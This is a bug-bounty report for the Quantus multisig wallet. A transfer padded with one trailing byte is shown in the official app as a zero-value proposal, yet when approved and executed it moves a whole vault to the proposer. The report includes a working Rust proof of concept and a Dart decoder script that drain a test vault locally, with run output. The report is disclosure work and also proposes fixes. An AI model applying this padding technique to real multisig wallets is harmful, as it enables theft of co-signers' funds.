88483 w a high official multisig approve displays a zero value call and still signs a full vault transfer

Submitted on Aug 13th 2026 at 12:30:01 UTC by @Omisanin0 for Audit Comp | Quantus

• Report ID: #88483

• Report Type: Websites & Apps

• Report severity: High

• Target: https://github.com/immunefi-team/audit-comp-quantus-apps/tree/audit-comp-ready/mobile-app

• Impacts:

  • Direct theft of user funds

  • Malicious interactions with an already-connected wallet, such as:

    • Modifying transaction arguments or parameters

    • Substituting contract addresses

    • Submitting malicious transactions

Description

Brief

The official app refuses to decode a multisig inner call that has leftover SCALE bytes, then treats that failure as "not a transfer" and shows amount 0 with an empty destination. Confirm stays enabled. Approve resubmits the exact bytes sitting in chain storage. Those bytes are a real Balances.transfer_allow_death plus one trailing 0x00. The pallet prefix-decodes them and, after threshold, execute sends the full vault to the proposer. I ran this on production quantus-runtime and on the shipped Planck RuntimeCall codec. Vault went from 1000 UNIT to 0. Attacker net +998.98 UNIT.

---

Vulnerability Details

Two decoders disagree about the same blob, and the wallet takes the wrong side of that disagreement.

What the pallet does

Multisig.propose and Multisig.execute validate the inner call with SCALE Decode, not DecodeAll:

// pallets/multisig/src/lib.rs:599-600 (propose)
let decoded_call = <T as Config>::RuntimeCall::decode(&mut &call[..])?;

// pallets/multisig/src/lib.rs:1125-1126 (execute)
let call = <T as Config>::RuntimeCall::decode(&mut &proposal.call[..])?;

Decode stops when a complete RuntimeCall is on the wire. A trailing 0x00 is leftover and ignored for validation. The full BoundedVec, trailing byte included, is what gets written to Proposals.

approve does not re-decode for display. It requires a byte-for-byte match against storage (lib.rs:779-781). The comment above that check says the point of resubmitting the call is so a signer can decode and inspect it (lib.rs:722-726). That only works if the client that fetches those bytes can decode them.

The HS benchmark (benchmarking.rs:242-249) states the same contract in writing: trailing bytes are ignored on decode and retained in the stored BoundedVec. MaxCallSize is 10 KiB. One extra byte fits.

A clean encode of transfer_allow_death is 43 bytes. The same encode plus 0x00 is 44 bytes. Prefix decode of the 44-byte blob still yields dest = attacker and value = 1000 UNIT. DecodeAll of that blob fails with "Input buffer has still data left after decoding!"

Approving the 43-byte clean encode against a 44-byte stored proposal is CallMismatch. The victim cannot "fix" the call in the UI. The only bytes fetchProposalCallBytes will ever hand to approve are the padded ones.

This is Quantus's pallet, not unmodified Substrate as_multi.

What the official app does with those bytes

CallDecoder.decodeBytes is strict. After the generated Planck codec consumes a call, any remainder is a hard error:

// quantus_sdk/lib/src/chain/call_decoder.dart:52-59
static DecodedCall decodeBytes(List<int> bytes) {
  final input = Input.fromBytes(Uint8List.fromList(bytes));
  final call = runtime.RuntimeCall.codec.decode(input);
  final remaining = input.remainingLength ?? 0;
  if (remaining != 0) {
    throw FormatException('$remaining trailing bytes after nested call');
  }
  return describe(call);
}

The unit test at call_decoder_test.dart:292-297 pins that throw.

After an open proposal is loaded, MultisigService._withOnChainCallData replaces indexer bytes with chain storage and rebuilds amount/dest from decodedCall:

// quantus_sdk/lib/src/services/multisig_service.dart:315-320
final withBytes = p.copyWith(callRaw: call);
final summary = withBytes.decodedCall?.summary;
return withBytes.copyWith(
  recipient: summary?.recipient ?? '',
  amount: summary?.amount ?? BigInt.zero,
);

decodedCall catches the FormatException and returns null (multisig_proposal.dart:268-274). So a padded transfer that the indexer may already have decoded correctly is rewritten to amount 0 and dest "". Pallet/call names from the indexer are left as-is. decodeError is stored and never read by the mobile app.

The list tile (proposal_list_tile.dart:41-48) then formats amount == 0 with no recipient. The detail hero (multisig_proposal_detail_sheet.dart:688-701) does the same.

The approve sheet loads storage via fetchProposalCallBytes and tries decodeBytes again (multisig_action_confirm_sheet.dart:185-195). On throw it falls back to proposal.decodedCall, which is also null after the wipe. Headline becomes a name-only / empty fallback. Confirm is disabled only when the RPC load fails:

// multisig_action_confirm_sheet.dart:361-362
final blocked = _submitting || _loadingCallBytes || _callBytesFailed;

A decode throw is not _callBytesFailed. Approve stays on. The sheet comment says it "shows the caller exactly which call they are approving." It does not.

Submit then calls approve with those same storage bytes. Threshold is met. Anyone, including the attacker, can execute. Execute prefix-decodes and dispatches the transfer as Signed(M).

What this is not

It is not "the user approved a blank proposal, their problem." The app overwrites a correct indexer amount with zero, then asks for a signature on a payload it just refused to render.

It is not a Keystone / cold-wallet bug. QuantusPayloadParser.parsePayload runs describe on Multisig.approve, which calls decodeBytes on the inner call and throws. Cold signing fail-closes. The default software signer does not go through that parser.

It is not an HS-vault bug. Balances.transfer_* is rejected at propose when the multisig itself is high-security. The official create_multisig path does not auto-enroll HS. The attack is any non-HS vault with threshold >= 2. Official default for three signers is 2.

It is not phishing and it is not an out-of-band tap. The victim is in the normal "open proposal, Approve" flow.

Attack path

1

Attacker and victim are signers

Attacker and victim are signers on non-HS multisig M, threshold 2 (2-of-2, or 2-of-3 with one honest). M holds B free.

2

Attacker creates a padded transfer proposal

Attacker encodes Balances.transfer_allow_death { dest: attacker, value: B }, appends 0x00, submits Multisig.propose with any raw client (quantus-cli is documented for this). Official buildProposeTransferCall will not produce the padding; that is fine. The attacker is a signer.

3

Pallet stores the padded blob

Pallet stores the 44-byte blob. Status Active.

4

Victim sees a zero-value proposal

Victim opens the official app. Refresh wipes amount/dest. List and detail show 0. Confirm is enabled.

5

Victim approves

Victim authenticates and approves. App resubmits the 44 bytes. Status Approved.

6

Attacker executes

Attacker calls execute. M is emptied. Victim's own free balance is untouched.

---

Impact Details

Selected in-scope impacts (Websites and Applications):

• Critical: Direct theft of user funds

• Critical: Malicious interactions with an already-connected wallet, such as modifying transaction arguments or parameters

The wallet the victim already uses is the official app. The arguments they are shown (0, no dest) are not the arguments that execute (1000 UNIT to the attacker). That is the modify-parameters class. The vault loss is direct theft.

Local run on production quantus-runtime (no mock runtime):

Account	Before	After
Vault M	1000.000000000000 UNIT	0
Attacker	999.400000000000 UNIT (after 0.6 UNIT create fee)	1998.380000000000 UNIT
Victim	1000.000000000000 UNIT	1000.000000000000 UNIT

Vault lost 1000 UNIT. Attacker net +998.98 UNIT (1000 steal, minus 1.02 UNIT propose fee, plus 1.00 UNIT deposit refund). Victim paid nothing.

Same 44-byte blob through the official generated codec: FormatException: 1 trailing bytes after nested call. Wipe result: amount 0, dest empty. Confirm blocked = false.

Pre-deployment, there is no live token price. Funds at risk are the free balance of every non-HS multisig with threshold at least 2 where a remaining signer uses the official approve sheet. That includes any 2-of-3 treasury-style vault that is not HS. The PoC number is 1000 UNIT in one vault.

A later runtime upgrade can change the pallet. It cannot un-steal a transfer that already executed.

---

References

• pallets/multisig/src/lib.rs propose decode 599-600, store 677-682, approve match 722-726 and 779-781, execute decode 1125-1126

• pallets/multisig/src/benchmarking.rs 242-249 (trailing retained)

• runtime/src/configs/mod.rs 648-651 (MaxCallSize, ProposalFee 1 UNIT, ProposalDeposit 1 UNIT)

• quantus_sdk/lib/src/chain/call_decoder.dart 52-59

• quantus_sdk/test/chain/call_decoder_test.dart 292-297

• quantus_sdk/lib/src/services/multisig_service.dart 315-320, fetchProposalCallBytes 404-412

• quantus_sdk/lib/src/models/multisig_proposal.dart 268-274

• mobile-app/lib/v2/screens/multisig/multisig_action_confirm_sheet.dart 185-195, 361-362

• mobile-app/lib/v2/screens/multisig/multisig_approve_confirm_sheet.dart 38-42

• mobile-app/lib/v2/screens/multisig/multisig_proposal_detail_sheet.dart 688-701

• Cold contrast: quantus_sdk/lib/src/quantus_payload_parser.dart, test "rejects a multisig proposal whose inner call cannot be decoded"

Fix that closes the hole on the wallet side: treat decodeBytes(chainBytes) failure as _callBytesFailed and refuse confirm. Do not wipe a known indexer amount into a silent 0. Optional pallet hardening: DecodeAll / consume the full buffer on propose and execute.

---

Proof of Concept

Local only. Production quantus-runtime and the official generated Planck RuntimeCall codec. No pallets/*/src/mock.rs. No public network.

bash poc/F-1301/run.sh

Needs the chain Rust toolchain and Dart >= 3.8 (brew install dart-sdk). The decoder package symlinks quantus_sdk/lib/generated.

Steps

1

Create and fund a multisig

create_multisig([attacker, victim], threshold=2). Fund M with 1000 UNIT.

2

Create a padded transfer

Encode Balances.transfer_allow_death { dest: attacker, value: 1000 UNIT }. Append 0x00.

3

Demonstrate the decode mismatch

Show Decode(padded) succeeds with leftover [0]. DecodeAll(padded) fails.

4

Store the padded proposal

Attacker propose(M, padded). Storage length 44. stored == padded.

5

Demonstrate that the clean call cannot be approved

Victim approve(clean) returns CallMismatch.

6

Demonstrate the official decoder failure

Official decoder on the stored hex throws 1 trailing bytes after nested call. Wipe sets amount 0, dest "". Confirm gate is not blocked.

7

Approve the padded call

Victim approve(padded). Status Approved.

8

Execute the transfer

Attacker execute. free(M) == 0. Attacker up 998.98 UNIT.

Run output (this tree)

Chain:

before   M=1000 UNIT   attacker=999.4 UNIT   victim=1000 UNIT
clean    43 B  0x02000001000000000000000000000000000000000000000000000000000000000000000f0080c6a47e8d03
padded   44 B  0x02000001000000000000000000000000000000000000000000000000000000000000000f0080c6a47e8d0300
Decode(padded)     OK leftover=[0]
DecodeAll(padded)  ERR Input buffer has still data left after decoding!
stored == padded   true
approve(clean)     CallMismatch
approve(padded)+execute
after    M=0           attacker=1998.38 UNIT  victim=1000 UNIT
vault lost 1000 UNIT   attacker Δ +998.98 UNIT

Decoder (same hex from poc/F-1301/out/artifact.json):

decodeBytes(padded)  FormatException: 1 trailing bytes after nested call
after wipe           amount=0 dest=""
confirm blocked      false

Chain program

src/chain/runtime/examples/poc_f1301_chain.rs

//! F-1301 — local exploit on production `quantus-runtime`.
//!
//! Not a `#[test]`. No `pallets/*/src/mock.rs`. No public network.
//!
//!   cd src/chain && cargo run --release -p quantus-runtime --example poc_f1301_chain
//!
//! Writes `poc/F-1301/out/artifact.json` so the official Dart decoder can
//! consume the **same** stored call bytes.

use codec::{Decode, DecodeAll, Encode};
use frame_support::traits::Currency;
use pallet_multisig::{BoundedCallOf, ProposalStatus, Proposals};
use quantus_runtime::{Balance, Balances, Multisig, Runtime, RuntimeCall, RuntimeOrigin, System, UNIT};
use sp_core::crypto::AccountId32;
use sp_io::TestExternalities;
use sp_runtime::{BuildStorage, MultiAddress};
use std::{fs, path::PathBuf};

const STEAL: Balance = 1000 * UNIT;

fn acct(id: u8) -> AccountId32 {
	let mut b = [0u8; 32];
	b[0] = id;
	AccountId32::new(b)
}

fn unit(v: Balance) -> String {
	format!("{}.{:012} UNIT", v / UNIT, v % UNIT)
}

fn hex(bytes: &[u8]) -> String {
	bytes.iter().map(|b| format!("{b:02x}")).collect()
}

fn die(msg: &str) -> ! {
	eprintln!("FAIL  {msg}");
	std::process::exit(1);
}

fn repo_root() -> PathBuf {
	// CARGO_MANIFEST_DIR = src/chain/runtime
	PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("../../..")
}

fn main() {
	println!("F-1301  trailing SCALE + official approve fail-open");
	println!("        production Runtime · local externalities · no public net\n");

	let attacker = acct(1);
	let victim = acct(2);
	let signers = vec![attacker.clone(), victim.clone()];

	let mut t = frame_system::GenesisConfig::<Runtime>::default().build_storage().unwrap();
	pallet_treasury::GenesisConfig::<Runtime> { treasury_account: None, treasury_portion: None }
		.assimilate_storage(&mut t)
		.unwrap();

	TestExternalities::new(t).execute_with(|| {
		System::set_block_number(1);
		Balances::make_free_balance_be(&attacker, 1000 * UNIT);
		Balances::make_free_balance_be(&victim, 1000 * UNIT);

		println!("1  create_multisig([attacker, victim], threshold=2)");
		Multisig::create_multisig(RuntimeOrigin::signed(attacker.clone()), signers.clone(), 2, 0)
			.unwrap_or_else(|e| die(&format!("create_multisig: {e:?}")));
		let m = Multisig::derive_multisig_address(&signers, 2, 0);
		Balances::make_free_balance_be(&m, STEAL);
		println!("   M  {m}");

		let b_m = Balances::free_balance(&m);
		let b_a = Balances::free_balance(&attacker);
		let b_v = Balances::free_balance(&victim);
		println!("\n   before");
		println!("     M         {}", unit(b_m));
		println!("     attacker  {}   (after MultisigFee 0.6 UNIT)", unit(b_a));
		println!("     victim    {}", unit(b_v));

		let call = RuntimeCall::Balances(pallet_balances::Call::transfer_allow_death {
			dest: MultiAddress::Id(attacker.clone()),
			value: STEAL,
		});
		let clean = call.encode();
		let mut padded = clean.clone();
		padded.push(0x00);

		println!("\n2  encode Balances.transfer_allow_death(dest=attacker, value=1000 UNIT) || 0x00");
		println!("   clean   {} B  0x{}", clean.len(), hex(&clean));
		println!("   padded  {} B  0x{}", padded.len(), hex(&padded));

		let mut rest = padded.as_slice();
		let decoded = RuntimeCall::decode(&mut rest).unwrap_or_else(|e| die(&format!("Decode: {e:?}")));
		println!("\n3  SCALE (this is propose/execute vs official CallDecoder)");
		println!("   Decode(padded)     OK   leftover {} B {:?}", rest.len(), rest);
		match RuntimeCall::decode_all(&mut &padded[..]) {
			Ok(_) => die("DecodeAll(padded) succeeded — remaining-byte check is dead"),
			Err(e) => println!("   DecodeAll(padded)  ERR  {e}   (CallDecoder.decodeBytes throws on this)"),
		}
		match &decoded {
			RuntimeCall::Balances(pallet_balances::Call::transfer_allow_death { dest, value }) => {
				println!("   prefix call        transfer_allow_death  dest={dest:?}  value={}", unit(*value));
			},
			other => die(&format!("unexpected {other:?}")),
		}

		let bounded: BoundedCallOf<Runtime> =
			padded.clone().try_into().unwrap_or_else(|_| die("padded exceeds MaxCallSize"));

		println!("\n4  attacker propose(M, padded)");
		Multisig::propose(RuntimeOrigin::signed(attacker.clone()), m.clone(), bounded.clone(), 100)
			.unwrap_or_else(|e| die(&format!("propose: {e:?}")));
		let stored = Proposals::<Runtime>::get(&m, 0).unwrap_or_else(|| die("proposal 0 missing"));
		println!("   stored.len         {}", stored.call.len());
		println!("   stored == padded   {}", stored.call.to_vec() == padded);
		println!("   status             {:?}", stored.status);
		if stored.call.to_vec() != padded {
			die("storage dropped the trailing byte");
		}
		if stored.status != ProposalStatus::Active {
			die("expected Active");
		}

		println!("\n5  victim approve(clean)  — must fail; app cannot 'fix' the bytes");
		let clean_b: BoundedCallOf<Runtime> =
			clean.clone().try_into().unwrap_or_else(|_| die("clean BoundedVec"));
		match Multisig::approve(RuntimeOrigin::signed(victim.clone()), m.clone(), 0, clean_b) {
			Err(e) => println!("   approve(clean)     ERR  {e:?}"),
			Ok(_) => die("approve(clean) succeeded"),
		}

		println!("\n6  victim approve(padded)  — fetchProposalCallBytes returns storage bytes");
		println!("   official app: decodeBytes throws, wipe amount=0, confirm not blocked");
		Multisig::approve(RuntimeOrigin::signed(victim.clone()), m.clone(), 0, bounded)
			.unwrap_or_else(|e| die(&format!("approve(padded): {e:?}")));
		let stored = Proposals::<Runtime>::get(&m, 0).unwrap_or_else(|| die("proposal gone"));
		println!("   status             {:?}", stored.status);
		if stored.status != ProposalStatus::Approved {
			die("threshold not met");
		}

		println!("\n7  attacker execute(M, 0)  — prefix Decode dispatches the 1000 UNIT transfer");
		Multisig::execute(RuntimeOrigin::signed(attacker.clone()), m.clone(), 0)
			.unwrap_or_else(|e| die(&format!("execute: {e:?}")));

		let a_m = Balances::free_balance(&m);
		let a_a = Balances::free_balance(&attacker);
		let a_v = Balances::free_balance(&victim);
		println!("\n   after");
		println!("     M         {}", unit(a_m));
		println!("     attacker  {}", unit(a_a));
		println!("     victim    {}", unit(a_v));
		println!("\n   impact");
		println!("     vault lost    {}", unit(b_m.saturating_sub(a_m)));
		println!("     attacker Δ    {}   (1000 − propose fee 1.02 + deposit refund 1.00)", unit(a_a.saturating_sub(b_a)));
		println!("     victim Δ      {}", unit(a_v.saturating_sub(b_v)));

		if a_m != 0 {
			die(&format!("vault not empty: {}", unit(a_m)));
		}
		if a_a <= b_a {
			die("attacker did not profit");
		}

		let out_dir = repo_root().join("poc/F-1301/out");
		fs::create_dir_all(&out_dir).unwrap_or_else(|e| die(&format!("mkdir: {e}")));
		let artifact = format!(
			"{{\n  \"clean_hex\": \"{}\",\n  \"padded_hex\": \"{}\",\n  \"steal_planck\": \"{}\",\n  \"vault_before\": \"{}\",\n  \"vault_after\": \"{}\",\n  \"attacker_delta\": \"{}\"\n}}\n",
			hex(&clean),
			hex(&padded),
			STEAL,
			b_m,
			a_m,
			a_a.saturating_sub(b_a),
		);
		fs::write(out_dir.join("artifact.json"), artifact).unwrap_or_else(|e| die(&format!("write: {e}")));
		println!("\n   wrote {}", out_dir.join("artifact.json").display());
		println!("\nOK  chain drain on production Runtime.");
	});
}

Decoder program

poc/F-1301/decoder/bin/poc.dart (uses quantus_sdk/lib/generated via symlink)

/// Official remaining-byte check from CallDecoder.decodeBytes
/// (quantus_sdk/lib/src/chain/call_decoder.dart:52-59), run on the
/// generated Planck RuntimeCall codec. Same bytes the chain just stored.

import 'dart:convert';
import 'dart:io';
import 'dart:typed_data';

import 'package:polkadart/scale_codec.dart';

import 'package:poc_f1301_decoder/generated/planck/types/quantus_runtime/runtime_call.dart';

void main() {
  print('F-1301  official Planck RuntimeCall.codec + CallDecoder remaining-byte check');
  print('        generated codecs from quantus_sdk · no mock decoder\n');

  final artifact = jsonDecode(File(_artifactPath()).readAsStringSync()) as Map<String, dynamic>;
  final clean = _unhex(artifact['clean_hex'] as String);
  final padded = _unhex(artifact['padded_hex'] as String);
  print('   artifact  ${_artifactPath()}');
  print('   clean     ${clean.length} B');
  print('   padded    ${padded.length} B');

  print('\nA  decodeBytes(clean)   — honest app propose');
  final honest = decodeBytes(clean);
  print('   $honest');

  print('\nB  decodeBytes(padded)  — approve sheet on storage bytes');
  Object? err;
  try {
    decodeBytes(padded);
  } catch (e) {
    err = e;
  }
  if (err == null) {
    _die('decodeBytes(padded) did not throw');
  }
  print('   threw  $err');

  // Production wipe, multisig_service.dart:315-320.
  print('\nC  _withOnChainCallData wipe');
  BigInt shownAmount = BigInt.from(1000000000000000);
  var shownDest = 'attacker';
  try {
    decodeBytes(padded);
  } catch (_) {
    shownDest = '';
    shownAmount = BigInt.zero;
  }
  print('   indexer     amount=1000000000000000  dest=attacker');
  print('   after wipe  amount=$shownAmount  dest="$shownDest"');
  if (shownAmount != BigInt.zero || shownDest.isNotEmpty) {
    _die('wipe did not clear amount/dest');
  }

  print('\nD  confirm gate  (multisig_action_confirm_sheet.dart:361-362)');
  const blocked = false || false || false;
  print('   storage load     ok');
  print('   decodeBytes      threw (caught; not callBytesFailed)');
  print('   blocked          $blocked');
  if (blocked) {
    _die('confirm would be blocked');
  }

  print('\nOK  official codec rejects the stored bytes; UI amount is 0; Approve stays enabled.');
}

Object decodeBytes(List<int> bytes) {
  final input = Input.fromBytes(Uint8List.fromList(bytes));
  final call = RuntimeCall.codec.decode(input);
  final remaining = input.remainingLength ?? 0;
  if (remaining != 0) {
    throw FormatException('$remaining trailing bytes after nested call');
  }
  return call;
}

String _artifactPath() {
  final env = Platform.environment['F1301_ARTIFACT'];
  if (env != null && env.isNotEmpty) return env;
  return File.fromUri(Platform.script).parent.parent.path + '/out/artifact.json';
}

Uint8List _unhex(String hex) {
  final h = hex.startsWith('0x') ? hex.substring(2) : hex;
  final out = Uint8List(h.length ~/ 2);
  for (var i = 0; i < out.length; i++) {
    out[i] = int.parse(h.substring(i * 2, i * 2 + 2), radix: 16);
  }
  return out;
}

Never _die(String msg) {
  print('FAIL  $msg');
  exit(1);
}

poc/F-1301/decoder/pubspec.yaml:

name: poc_f1301_decoder
description: Official Planck SCALE decode of the F-1301 stored call. No mocks.
publish_to: none
environment:
  sdk: ">=3.8.0 <4.0.0"
dependencies:
  polkadart: 0.7.3

lib/generated is a symlink to quantus_sdk/lib/generated.